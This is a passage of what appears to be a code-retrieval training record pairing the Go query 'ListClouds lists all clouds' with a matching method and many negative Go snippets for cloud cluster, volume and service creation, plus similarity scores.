c.client.CreateDisk(project, zone, d)\n}", "func (a *API) Create(s *funkmasta.Service) error {\n\tv := url.Values{}\n\tv.Set(\"name\", s.Name)\n\tv.Set(\"endpoint\", s.Endpoint)\n\tv.Set(\"payload\", s.Payload)\n\tv.Set(\"env\", s.EnvSetup)\n\n\t_, err := a.PostForm(CREATE, v)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func CreateCluster(c *gin.Context) {\n\n\tbanzaiUtils.LogInfo(banzaiConstants.TagCreateCluster, \"Cluster creation is stared\")\n\tbanzaiUtils.LogInfo(banzaiConstants.TagCreateCluster, \"Bind json into CreateClusterRequest struct\")\n\n\t// bind request body to struct\n\tvar createClusterBaseRequest banzaiTypes.CreateClusterRequest\n\tif err := c.BindJSON(&createClusterBaseRequest); err != nil {\n\t\t// bind failed\n\t\tbanzaiUtils.LogError(banzaiConstants.TagCreateCluster, \"Required field is empty: \"+err.Error())\n\t\tcloud.SetResponseBodyJson(c, http.StatusBadRequest, gin.H{\n\t\t\tcloud.JsonKeyStatus: http.StatusBadRequest,\n\t\t\tcloud.JsonKeyMessage: \"Required field is empty\",\n\t\t\tcloud.JsonKeyError: err,\n\t\t})\n\t\treturn\n\t} else {\n\t\tbanzaiUtils.LogInfo(banzaiConstants.TagCreateCluster, \"Bind succeeded\")\n\t}\n\n\tbanzaiUtils.LogInfo(banzaiConstants.TagCreateCluster, \"Searching entry with name:\", createClusterBaseRequest.Name)\n\tvar savedCluster banzaiSimpleTypes.ClusterSimple\n\n\tdatabase.Query(\"SELECT * FROM \"+banzaiSimpleTypes.ClusterSimple.TableName(savedCluster)+\" WHERE name = ?;\",\n\t\tcreateClusterBaseRequest.Name,\n\t\t&savedCluster)\n\n\tif savedCluster.ID != 0 {\n\t\t// duplicated entry\n\t\tmsg := \"Duplicate entry '\" + savedCluster.Name + \"' for key 'name'\"\n\t\tbanzaiUtils.LogError(banzaiConstants.TagCreateCluster, msg)\n\t\tcloud.SetResponseBodyJson(c, http.StatusBadRequest, gin.H{\n\t\t\tcloud.JsonKeyStatus: http.StatusBadRequest,\n\t\t\tcloud.JsonKeyMessage: msg,\n\t\t})\n\t\treturn\n\t}\n\n\tbanzaiUtils.LogInfo(banzaiConstants.TagCreateCluster, \"No entity with this name exists. The creation is possible.\")\n\n\tcloudType := createClusterBaseRequest.Cloud\n\tbanzaiUtils.LogInfo(banzaiConstants.TagCreateCluster, \"Cloud type is \", cloudType)\n\n\tswitch cloudType {\n\tcase banzaiConstants.Amazon:\n\t\t// validate and create Amazon cluster\n\t\tawsData := createClusterBaseRequest.Properties.CreateClusterAmazon\n\t\tif isValid, err := awsData.Validate(); isValid && len(err) == 0 {\n\t\t\tbanzaiUtils.LogInfo(banzaiConstants.TagCreateCluster, \"Validation is OK\")\n\t\t\tif isOk, createdCluster := cloud.CreateClusterAmazon(&createClusterBaseRequest, c); isOk {\n\t\t\t\t// update prometheus config..\n\t\t\t\tgo updatePrometheusWithRetryConf(createdCluster)\n\t\t\t}\n\t\t} else {\n\t\t\t// not valid request\n\t\t\tcloud.SetResponseBodyJson(c, http.StatusBadRequest, gin.H{\n\t\t\t\tcloud.JsonKeyStatus: http.StatusBadRequest,\n\t\t\t\tcloud.JsonKeyMessage: err,\n\t\t\t})\n\t\t}\n\tcase banzaiConstants.Azure:\n\t\t// validate and create Azure cluster\n\t\taksData := createClusterBaseRequest.Properties.CreateClusterAzure\n\t\tif isValid, err := aksData.Validate(); isValid && len(err) == 0 {\n\t\t\tif cloud.CreateClusterAzure(&createClusterBaseRequest, c) {\n\t\t\t\t// update prometheus config..\n\t\t\t\tupdatePrometheus()\n\t\t\t}\n\t\t} else {\n\t\t\t// not valid request\n\t\t\tcloud.SetResponseBodyJson(c, http.StatusBadRequest, gin.H{\n\t\t\t\tcloud.JsonKeyStatus: http.StatusBadRequest,\n\t\t\t\tcloud.JsonKeyMessage: err,\n\t\t\t})\n\t\t}\n\tdefault:\n\t\t// wrong cloud type\n\t\tcloud.SendNotSupportedCloudResponse(c, banzaiConstants.TagCreateCluster)\n\t}\n\n}", "func CreateCluster(request *restful.Request, response *restful.Response) {\n\tstart := time.Now()\n\n\tform := CreateClusterForm{}\n\t_ = request.ReadEntity(&form)\n\n\terr := utils.Validate.Struct(&form)\n\tif err != nil {\n\t\tmetrics.ReportRequestAPIMetrics(\"CreateCluster\", request.Request.Method, metrics.ErrStatus, start)\n\t\t_ = response.WriteHeaderAndEntity(400, utils.FormatValidationError(err))\n\t\treturn\n\t}\n\n\tuser := auth.GetUser(request)\n\tcluster := &models.BcsCluster{\n\t\tID: form.ClusterID,\n\t\tCreatorId: user.ID,\n\t}\n\tswitch form.ClusterType {\n\tcase \"k8s\":\n\t\tcluster.ClusterType = BcsK8sCluster\n\tcase \"mesos\":\n\t\tcluster.ClusterType = BcsMesosCluster\n\tcase \"tke\":\n\t\tcluster.ClusterType = BcsTkeCluster\n\t\tif form.TkeClusterID == \"\" || form.TkeClusterRegion == \"\" {\n\t\t\tmetrics.ReportRequestAPIMetrics(\"CreateCluster\", request.Request.Method, metrics.ErrStatus, start)\n\t\t\tblog.Warnf(\"create tke cluster failed, empty tke clusterid or region\")\n\t\t\tmessage := fmt.Sprintf(\"errcode: %d, create tke cluster failed, empty tke clusterid or region\", common.BcsErrApiBadRequest)\n\t\t\tutils.WriteClientError(response, common.BcsErrApiBadRequest, message)\n\t\t\treturn\n\t\t}\n\t\tcluster.TkeClusterId = form.TkeClusterID\n\t\tcluster.TkeClusterRegion = form.TkeClusterRegion\n\tdefault:\n\t\tmetrics.ReportRequestAPIMetrics(\"CreateCluster\", request.Request.Method, metrics.ErrStatus, start)\n\t\tblog.Warnf(\"create failed, cluster type invalid\")\n\t\tmessage := fmt.Sprintf(\"errcode: %d, create failed, cluster type invalid\", common.BcsErrApiBadRequest)\n\t\tutils.WriteClientError(response, common.BcsErrApiBadRequest, message)\n\t\treturn\n\t}\n\n\tclusterInDb := sqlstore.GetCluster(cluster.ID)\n\tif clusterInDb != nil {\n\t\tmetrics.ReportRequestAPIMetrics(\"CreateCluster\", request.Request.Method, metrics.ErrStatus, start)\n\t\tblog.Warnf(\"create cluster failed, cluster [%s] already exist\", cluster.ID)\n\t\tmessage := fmt.Sprintf(\"errcode: %d, create cluster failed, cluster [%s] already exist\", common.BcsErrApiBadRequest, cluster.ID)\n\t\tutils.WriteClientError(response, common.BcsErrApiBadRequest, message)\n\t\treturn\n\t}\n\n\terr = sqlstore.CreateCluster(cluster)\n\tif err != nil {\n\t\tmetrics.ReportRequestAPIMetrics(\"CreateCluster\", request.Request.Method, metrics.ErrStatus, start)\n\t\tblog.Errorf(\"failed to create cluster [%s]: %s\", cluster.ID, err.Error())\n\t\tmessage := fmt.Sprintf(\"errcode: %d, create cluster [%s] failed, error: %s\", common.BcsErrApiInternalDbError, cluster.ID, err.Error())\n\t\tutils.WriteServerError(response, common.BcsErrApiInternalDbError, message)\n\t\treturn\n\t}\n\n\tdata := utils.CreateResponseData(nil, \"success\", *cluster)\n\t_, _ = response.Write([]byte(data))\n\n\tmetrics.ReportRequestAPIMetrics(\"CreateCluster\", request.Request.Method, metrics.SucStatus, start)\n}", "func Create(c *gophercloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToLBPoolCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\tresp, err := c.Post(rootURL(c), b, &r.Body, nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func Create(t *testing.T, knFunc *TestShellCmdRunner, project FunctionTestProject) {\n\tvar result TestShellCmdResult\n\tif project.RemoteRepository == \"\" {\n\t\tresult = knFunc.Exec(\"create\", project.ProjectPath, \"--language\", project.Runtime, \"--template\", project.Template)\n\t} else {\n\t\tresult = knFunc.Exec(\"create\", project.ProjectPath, \"--language\", project.Runtime, \"--template\", project.Template, \"--repository\", project.RemoteRepository)\n\t}\n\tif result.Error != nil {\n\t\tt.Fatal()\n\t}\n}", "func Create(client *gophercloud.ServiceClient, opts volumes.CreateOptsBuilder, bearer map[string]string) (r volumes.CreateResult) {\n\tb, err := opts.ToVolumeCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\t_, r.Err = client.Post(createURL(client), b, &r.Body, &gophercloud.RequestOpts{\n\t\tOkCodes: []int{202},\n\t\tMoreHeaders: bearer,\n\t})\n\treturn\n}", "func NewMockCloud(ctrl *gomock.Controller) *MockCloud {\n\tmock := &MockCloud{ctrl: ctrl}\n\tmock.recorder = &MockCloudMockRecorder{mock}\n\treturn mock\n}", "func (p *Parser) Create(configText []byte) (scoot.CloudScoot, error) {\n\tc, err := p.Parse(configText)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn c.Create()\n}", "func (c *V2) Create(endpoint string, model models.Model) (*http.Response, *gabs.Container, error) {\n\tjsonPayload, err := c.PrepareModel(model)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tlog.Println(\"[DEBUG] CREATE Payload: \", jsonPayload.String())\n\n\treq, err := c.PrepareRequest(http.MethodPost, endpoint, jsonPayload, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tresponse, err := c.Do(req)\n\tif err != nil {\n\t\treturn response, nil, err\n\t}\n\n\tcontainer, err := GetContainer(response)\n\tif err != nil {\n\t\treturn response, nil, err\n\t}\n\treturn response, container, nil\n}", "func Create(client *gophercloud.ServiceClient, serverID string, opts os.CreateOptsBuilder) os.CreateResult {\n\treturn os.Create(client, serverID, opts)\n}", "func (c Client) Create(input *CreateEntityInput) (*CreateEntityResponse, error) {\n\treturn c.CreateWithContext(context.Background(), input)\n}", "func (a *Client) CreateDC(params *CreateDCParams, authInfo runtime.ClientAuthInfoWriter) (*CreateDCCreated, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewCreateDCParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"createDC\",\n\t\tMethod: \"POST\",\n\t\tPathPattern: \"/api/v1/seed/{seed_name}/dc\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &CreateDCReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*CreateDCCreated)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\tunexpectedSuccess := result.(*CreateDCDefault)\n\treturn nil, runtime.NewAPIError(\"unexpected success response: content available as default response in error\", unexpectedSuccess, unexpectedSuccess.Code())\n}", "func (c *ContainerClient) Create(ctx context.Context, options *ContainerCreateOptions) (ContainerCreateResponse, error) {\n\tbasics, cpkInfo := options.format()\n\tresp, err := c.client.Create(ctx, basics, cpkInfo)\n\n\treturn toContainerCreateResponse(resp), handleError(err)\n}", "func Create(c blogpb.BlogServiceClient) {\n\tblog := &blogpb.Blog{\n\t\tAuthorId: \"Rad\",\n\t\tTitle: \"Rad First Blog\",\n\t\tContent: \"Content of the first blog\",\n\t}\n\tres, err := c.CreateBlog(context.Background(), &blogpb.CreateBlogRequest{Blog: blog})\n\tif err != nil {\n\t\tlog.Fatalln(\"Unexpected error:\", err)\n\t}\n\tfmt.Println(\"Blog has been created\", res)\n}", "func CreateProject(p *pm.Project) error {\n\tbcsCCConf := config.GlobalConf.BCSCC\n\tif !bcsCCConf.Enable {\n\t\treturn nil\n\t}\n\treqURL := fmt.Sprintf(\"%s%s\", bcsCCConf.Host, createProjectPath)\n\tdata := constructProjectData(p)\n\treq := gorequest.SuperAgent{\n\t\tUrl: reqURL,\n\t\tMethod: \"POST\",\n\t\tData: data,\n\t}\n\treq.QueryData = url.Values{}\n\tif bcsCCConf.UseGateway {\n\t\tdata[\"app_code\"] = config.GlobalConf.App.Code\n\t\tdata[\"app_secret\"] = config.GlobalConf.App.Secret\n\t} else {\n\t\taccessToken, err := GetAccessToken()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treq.QueryData.Add(\"access_token\", accessToken)\n\t}\n\t// 获取返回\n\treturn requestCommonAndParse(req)\n}", "func CreateService(ctx *gin.Context) {\n\tlog := logger.RuntimeLog\n\tvar svcModel *model.Service\n\tif err := ctx.BindJSON(&svcModel); err != nil {\n\t\tSendResponse(ctx, err, \"Request Body Invalid\")\n\t}\n\n\tsvcNamespace := strings.ToLower(svcModel.SvcMeta.Namespace)\n\tsvcZone := svcModel.SvcMeta.AppMeta.ZoneName\n\tsvcName := svcModel.SvcMeta.Name\n\n\t// fetch k8s-client hander by zoneName\n\tkclient, err := GetClientByAzCode(svcZone)\n\tif err != nil {\n\t\tlog.WithError(err)\n\t\tSendResponse(ctx, errno.ErrTokenInvalid, nil)\n\t\treturn\n\t}\n\n\tstartAt := time.Now() // used to record operation time cost\n\t_, err = kclient.CoreV1().Services(svcNamespace).Create(makeupServiceData(ctx, svcModel))\n\tif err != nil {\n\t\tSendResponse(ctx, err, \"create Service fail.\")\n\t\treturn\n\t}\n\tlogger.MetricsEmit(\n\t\tSVC_CONST.K8S_LOG_Method_CreateService,\n\t\tutil.GetReqID(ctx),\n\t\tfloat32(time.Since(startAt)/time.Millisecond),\n\t\terr == err,\n\t)\n\tSendResponse(ctx, errno.OK, fmt.Sprintf(\"Create Service %s success.\", svcName))\n}" ]
[ "0.6834125", "0.6702865", "0.6396245", "0.6335121", "0.61975646", "0.6191873", "0.6094794", "0.60791254", "0.59872746", "0.5945341", "0.5944723", "0.59052587", "0.58329237", "0.58106196", "0.58104384", "0.5789175", "0.5764127", "0.5731699", "0.57309675", "0.5705416", "0.56902224", "0.5684954", "0.5684376", "0.5669978", "0.56539196", "0.5647187", "0.56427336", "0.562115", "0.5616954", "0.561524", "0.56102604", "0.56091154", "0.56060344", "0.5603793", "0.55962586", "0.5594284", "0.556565", "0.5556413", "0.55237657", "0.55096376", "0.5508625", "0.550282", "0.54942346", "0.5491733", "0.54868317", "0.5466014", "0.5443784", "0.54429704", "0.54420346", "0.5441484", "0.53970224", "0.5388966", "0.5388804", "0.5356058", "0.535008", "0.53382456", "0.5336161", "0.53199774", "0.53182465", "0.530448", "0.5301999", "0.52990633", "0.52944756", "0.5290425", "0.52892476", "0.5282766", "0.5281487", "0.52808213", "0.5280599", "0.52775604", "0.52775586", "0.5277438", "0.5256397", "0.52482736", "0.5246374", "0.52452385", "0.5243269", "0.52428186", "0.523418", "0.5231328", "0.52277464", "0.52269536", "0.5222933", "0.5215287", "0.5212986", "0.52127147", "0.520785", "0.5207696", "0.52016145", "0.51821953", "0.5180587", "0.517035", "0.51628137", "0.51622754", "0.5161372", "0.5158085", "0.5155717", "0.5154554", "0.51479703", "0.5143255" ]
0.7975238
0
ListClouds lists all clouds.
func (m *cloudManager) ListClouds() ([]api.Cloud, error) { return m.ds.FindAllClouds() }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (s *CloudsService) ListAll(ctx context.Context, org string) ([]*Cloud, *http.Response, error) {\n\tif org == \"\" {\n\t\treturn nil, nil, errors.New(\"org name must be non-empty\")\n\t}\n\toc := fmt.Sprintf(\"%v/clouds\", org)\n\n\treq, err := s.client.NewRequest(\"GET\", oc, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvar orgClouds []*Cloud\n\tresp, err := s.client.Do(ctx, req, &orgClouds)\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn orgClouds, resp, nil\n}", "func (c *client) GetClouds() ([]*models.AviCloud, error) {\n\tif c.Cloud == nil {\n\t\treturn nil, errors.Errorf(\"unable to make API calls before authentication\")\n\t}\n\n\tvar page = 1\n\tclouds := make([]*models.AviCloud, 0)\n\tfor {\n\t\tall, err := c.Cloud.GetAll(session.SetParams(map[string]string{\"fields\": \"name,uuid\", \"page\": strconv.Itoa(page), \"page_size\": pageSizeMax}))\n\t\tif err != nil {\n\t\t\tif page == 1 {\n\t\t\t\treturn nil, errors.Wrap(err, \"unable to get all clouds from avi controller due to error\")\n\t\t\t}\n\t\t\tbreak // end of result set reached\n\t\t}\n\n\t\tfor _, c := range all {\n\t\t\tclouds = append(clouds, &models.AviCloud{\n\t\t\t\tUUID: *c.UUID,\n\t\t\t\tName: *c.Name,\n\t\t\t\tLocation: *c.URL,\n\t\t\t})\n\t\t}\n\n\t\tpage++\n\t}\n\n\treturn clouds, nil\n}", "func GetClouds(resp http.ResponseWriter, req *http.Request, params routing.Params) {\n\n\tdata, err := json.Marshal(clouds.GetClouds())\n\tif err != nil {\n\t\tlog.Printf(\"[ERR ] Error %v\", err)\n\t\thttp.Error(resp, \"internal server error\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\tresp.Header().Set(\"Content-Type\", \"application/json\")\n\tresp.Write(data)\n}", "func (client StorageGatewayClient) listCloudSyncs(ctx context.Context, request common.OCIRequest) (common.OCIResponse, error) {\n\thttpRequest, err := request.HTTPRequest(http.MethodGet, \"/storageGateways/{storageGatewayId}/cloudSyncs\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response ListCloudSyncsResponse\n\tvar httpResponse *http.Response\n\thttpResponse, err = client.Call(ctx, &httpRequest)\n\tdefer common.CloseBodyIfValid(httpResponse)\n\tresponse.RawResponse = httpResponse\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\terr = common.UnmarshalResponse(httpResponse, &response)\n\treturn response, err\n}", "func (client StorageGatewayClient) ListCloudSyncs(ctx context.Context, request ListCloudSyncsRequest) (response ListCloudSyncsResponse, err error) {\n\tvar ociResponse common.OCIResponse\n\tpolicy := common.NoRetryPolicy()\n\tif client.RetryPolicy() != nil {\n\t\tpolicy = *client.RetryPolicy()\n\t}\n\tif request.RetryPolicy() != nil {\n\t\tpolicy = *request.RetryPolicy()\n\t}\n\tociResponse, err = common.Retry(ctx, request, client.listCloudSyncs, policy)\n\tif err != nil {\n\t\tif ociResponse != nil {\n\t\t\tif httpResponse := ociResponse.HTTPResponse(); httpResponse != nil {\n\t\t\t\topcRequestId := httpResponse.Header.Get(\"opc-request-id\")\n\t\t\t\tresponse = ListCloudSyncsResponse{RawResponse: httpResponse, OpcRequestId: &opcRequestId}\n\t\t\t} else {\n\t\t\t\tresponse = ListCloudSyncsResponse{}\n\t\t\t}\n\t\t}\n\t\treturn\n\t}\n\tif convertedResponse, ok := ociResponse.(ListCloudSyncsResponse); ok {\n\t\tresponse = convertedResponse\n\t} else {\n\t\terr = fmt.Errorf(\"failed to convert OCIResponse into ListCloudSyncsResponse\")\n\t}\n\treturn\n}", "func ListImageOnCloud(client *s3.Client) {\n\tbucket := &bucketName\n\tinput := &s3.ListObjectsV2Input{\n\t\tBucket: bucket,\n\t}\n\n\tresp, err := GetObjects(context.TODO(), client, input)\n\tif err != nil {\n\t\tfmt.Println(\"Got error retrieving list of Images:\")\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\tfmt.Printf(\"Images:\\n\")\n\n\tfor i, item := range resp.Contents {\n\t\tfmt.Printf(\"=== Image %06d Begin ===\\n\", i)\n\t\tfmt.Println(\"Name: \", *item.Key)\n\t\tfmt.Println(\"Last modified: \", *item.LastModified)\n\t\tfmt.Println(\"Size: \", item.Size)\n\t\tfmt.Println(\"Storage class: \", item.StorageClass)\n\t\tfmt.Printf(\"=== Image %06d End ===\\n\", i)\n\n\t}\n\n\tfmt.Println(\"Found\", len(resp.Contents), \"images\", *bucket)\n}", "func (h *httpCloud) List(filter string) ([]string, error) {\n\tvar resp []string\n\tif err := h.get(h.instancesURL+path.Join(InstancesPath, filter), &resp); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn resp, nil\n}", "func (c *Client) CloudListRegions(projectID string) ([]types.CloudRegionDetail, error) {\n\tvar resultsreq []string\n\tif err := c.Get(queryEscape(\"/cloud/project/%s/region\", projectID), &resultsreq); err != nil {\n\t\treturn nil, err\n\t}\n\tregions := []types.CloudRegionDetail{}\n\tfor _, resultreq := range resultsreq {\n\t\tregions = append(regions, types.CloudRegionDetail{Name: resultreq})\n\t}\n\treturn regions, nil\n}", "func (c *Client) CloudProjectsList() ([]types.CloudProject, error) {\n\tprojects := []types.CloudProject{}\n\tids := []string{}\n\tif err := c.Get(\"/cloud/project\", &ids); err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, id := range ids {\n\t\tprojects = append(projects, types.CloudProject{ProjectID: id})\n\t}\n\treturn projects, nil\n}", "func (s *StorageClusterAPI) List(w http.ResponseWriter, r *http.Request) {\n\tclusters, err := s.storageClusterService.List()\n\tif err != nil {\n\t\tapi.Error(w, err)\n\t\treturn\n\t}\n\tapi.OK(w, clusters)\n}", "func (a ClustersAPI) List() ([]httpmodels.GetResp, error) {\n\tvar clusterList = struct {\n\t\tClusters []httpmodels.GetResp `json:\"clusters,omitempty\" url:\"clusters,omitempty\"`\n\t}{}\n\n\tresp, err := a.Client.performQuery(http.MethodGet, \"/clusters/list\", nil, nil)\n\tif err != nil {\n\t\treturn clusterList.Clusters, err\n\t}\n\n\terr = json.Unmarshal(resp, &clusterList)\n\treturn clusterList.Clusters, err\n}", "func (c *Client) CloudListInstance(projectID string) ([]types.CloudInstance, error) {\n\tinstances := []types.CloudInstance{}\n\terr := c.Get(queryEscape(\"/cloud/project/%s/instance\", projectID), &instances)\n\treturn instances, err\n}", "func (a *Client) ListDatacenters(params *ListDatacentersParams, authInfo runtime.ClientAuthInfoWriter) (*ListDatacentersOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewListDatacentersParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"listDatacenters\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/api/v1/dc\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &ListDatacentersReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*ListDatacentersOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\tunexpectedSuccess := result.(*ListDatacentersDefault)\n\treturn nil, runtime.NewAPIError(\"unexpected success response: content available as default response in error\", unexpectedSuccess, unexpectedSuccess.Code())\n}", "func (vc *VirtualCenter) ListDatacenters(ctx context.Context) (\n\t[]*Datacenter, error) {\n\tlog := logger.GetLogger(ctx)\n\tif err := vc.Connect(ctx); err != nil {\n\t\tlog.Errorf(\"failed to connect to vCenter. err: %v\", err)\n\t\treturn nil, err\n\t}\n\tfinder := find.NewFinder(vc.Client.Client, false)\n\tdcList, err := finder.DatacenterList(ctx, \"*\")\n\tif err != nil {\n\t\tlog.Errorf(\"failed to list datacenters with err: %v\", err)\n\t\treturn nil, err\n\t}\n\n\tvar dcs []*Datacenter\n\tfor _, dcObj := range dcList {\n\t\tdc := &Datacenter{Datacenter: dcObj, VirtualCenterHost: vc.Config.Host}\n\t\tdcs = append(dcs, dc)\n\t}\n\treturn dcs, nil\n}", "func (c *Client) CloudProjectFlavorsList(projectID, region string) ([]types.CloudFlavor, error) {\n\tvar path string\n\tif region == \"\" {\n\t\tpath = queryEscape(\"/cloud/project/%s/flavor\", projectID)\n\n\t} else {\n\t\tpath = queryEscape(\"/cloud/project/%s/flavor?region=%s\", projectID, region)\n\t}\n\tf := []types.CloudFlavor{}\n\treturn f, c.Get(path, &f)\n}", "func (p *Provider) List() ([]string, error) {\n\treturn p.provider.ListClusters()\n}", "func listDatacenters(c context.Context, names stringset.Set) ([]*crimson.Datacenter, error) {\n\tdb := database.Get(c)\n\trows, err := db.QueryContext(c, `\n\t\tSELECT name, description, state\n\t\tFROM datacenters\n\t`)\n\tif err != nil {\n\t\treturn nil, errors.Annotate(err, \"failed to fetch datacenters\").Err()\n\t}\n\tdefer rows.Close()\n\n\tvar datacenters []*crimson.Datacenter\n\tfor rows.Next() {\n\t\tdc := &crimson.Datacenter{}\n\t\tif err = rows.Scan(&dc.Name, &dc.Description, &dc.State); err != nil {\n\t\t\treturn nil, errors.Annotate(err, \"failed to fetch datacenter\").Err()\n\t\t}\n\t\tif matches(dc.Name, names) {\n\t\t\tdatacenters = append(datacenters, dc)\n\t\t}\n\t}\n\treturn datacenters, nil\n}", "func (cm *ClusterManager) ListBKCloud(ctx context.Context,\n\treq *cmproto.ListBKCloudRequest, resp *cmproto.CommonListResp) error {\n\treqID, err := requestIDFromContext(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tstart := time.Now()\n\tla := thirdparty.NewListBKCloudAction()\n\tla.Handle(ctx, req, resp)\n\tmetrics.ReportAPIRequestMetric(\"ListBKCloud\", \"grpc\", strconv.Itoa(int(resp.Code)), start)\n\tblog.V(3).Infof(\"reqID: %s, action: ListBKCloud, req %v\", reqID, req)\n\treturn nil\n}", "func (c *TestClient) ListDisks(project, zone string, opts ...ListCallOption) ([]*compute.Disk, error) {\n\tif c.ListDisksFn != nil {\n\t\treturn c.ListDisksFn(project, zone, opts...)\n\t}\n\treturn c.client.ListDisks(project, zone, opts...)\n}", "func (c *Client) CloudProjectImagesList(projectID, region string) ([]types.CloudImage, error) {\n\tvar path string\n\tif region == \"\" {\n\t\tpath = queryEscape(\"/cloud/project/%s/image\", projectID)\n\t} else {\n\t\tpath = queryEscape(\"/cloud/project/%s/image?region=%s\", projectID, region)\n\t}\n\timages := []types.CloudImage{}\n\treturn images, c.Get(path, &images)\n}", "func List(c *gophercloud.ServiceClient, opts ListOptsBuilder) pagination.Pager {\n\turl := listURL(c)\n\tif opts != nil {\n\t\tquery, err := opts.ToCDNServiceListQuery()\n\t\tif err != nil {\n\t\t\treturn pagination.Pager{Err: err}\n\t\t}\n\t\turl += query\n\t}\n\treturn pagination.NewPager(c, url, func(r pagination.PageResult) pagination.Page {\n\t\tp := ServicePage{pagination.MarkerPageBase{PageResult: r}}\n\t\tp.MarkerPageBase.Owner = p\n\t\treturn p\n\t})\n}", "func (p *Provider) List() (vm.List, error) {\n\tvar vms vm.List\n\tfor _, prj := range p.GetProjects() {\n\t\targs := []string{\"compute\", \"instances\", \"list\", \"--project\", prj, \"--format\", \"json\"}\n\n\t\t// Run the command, extracting the JSON payload\n\t\tjsonVMS := make([]jsonVM, 0)\n\t\tif err := runJSONCommand(args, &jsonVMS); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Now, convert the json payload into our common VM type\n\t\tfor _, jsonVM := range jsonVMS {\n\t\t\tvms = append(vms, *jsonVM.toVM(prj, &p.opts))\n\t\t}\n\t}\n\n\treturn vms, nil\n}", "func (c *ClustersController) List(ctx *app.ListClustersContext) error {\n\t// return a single cluster given its URL\n\tif ctx.ClusterURL != nil {\n\t\t// authorization is checked at the service level for more consistency accross the codebase.\n\t\tclustr, err := c.app.ClusterService().FindByURL(ctx, *ctx.ClusterURL)\n\t\tif err != nil {\n\t\t\tif ok, _ := errors.IsNotFoundError(err); ok {\n\t\t\t\t// no result found, return an empty array\n\t\t\t\treturn ctx.OK(&app.ClusterList{\n\t\t\t\t\tData: []*app.ClusterData{},\n\t\t\t\t})\n\t\t\t}\n\t\t\t// something wrong happened, return the error\n\t\t\treturn app.JSONErrorResponse(ctx, err)\n\t\t}\n\t\treturn ctx.OK(&app.ClusterList{\n\t\t\tData: []*app.ClusterData{convertToClusterData(*clustr)},\n\t\t})\n\t}\n\t// otherwise, list all clusters\n\tclusters, err := c.app.ClusterService().List(ctx, ctx.Type)\n\tif err != nil {\n\t\treturn app.JSONErrorResponse(ctx, err)\n\t}\n\tvar data []*app.ClusterData\n\tfor _, clustr := range clusters {\n\t\tdata = append(data, convertToClusterData(clustr))\n\t}\n\treturn ctx.OK(&app.ClusterList{\n\t\tData: data,\n\t})\n}", "func (cl *CloudProviderService) GetCloudProviderList() (cloudProviders []*types.CloudProvider, err error) {\n\tlog.Debug(\"GetCloudProviderList\")\n\n\tdata, status, err := cl.concertoService.Get(\"/cloud/cloud_providers\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err = utils.CheckStandardStatus(status, data); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err = json.Unmarshal(data, &cloudProviders); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn cloudProviders, nil\n}", "func (api *bucketAPI) ApisrvList(ctx context.Context, opts *api.ListWatchOptions) ([]*objstore.Bucket, error) {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn apicl.ObjstoreV1().Bucket().List(context.Background(), opts)\n\t}\n\n\t// List from local cache\n\tctkitObjs, err := api.List(ctx, opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar ret []*objstore.Bucket\n\tfor _, obj := range ctkitObjs {\n\t\tret = append(ret, &obj.Bucket)\n\t}\n\treturn ret, nil\n}", "func List(c *gophercloud.ServiceClient) pagination.Pager {\n\turl := listURL(c)\n\tcreatePage := func(r pagination.PageResult) pagination.Page {\n\t\treturn FlavorPage{pagination.SinglePageBase(r)}\n\t}\n\treturn pagination.NewPager(c, url, createPage)\n}", "func List(ctx context.Context, client *selvpcclient.ServiceClient) 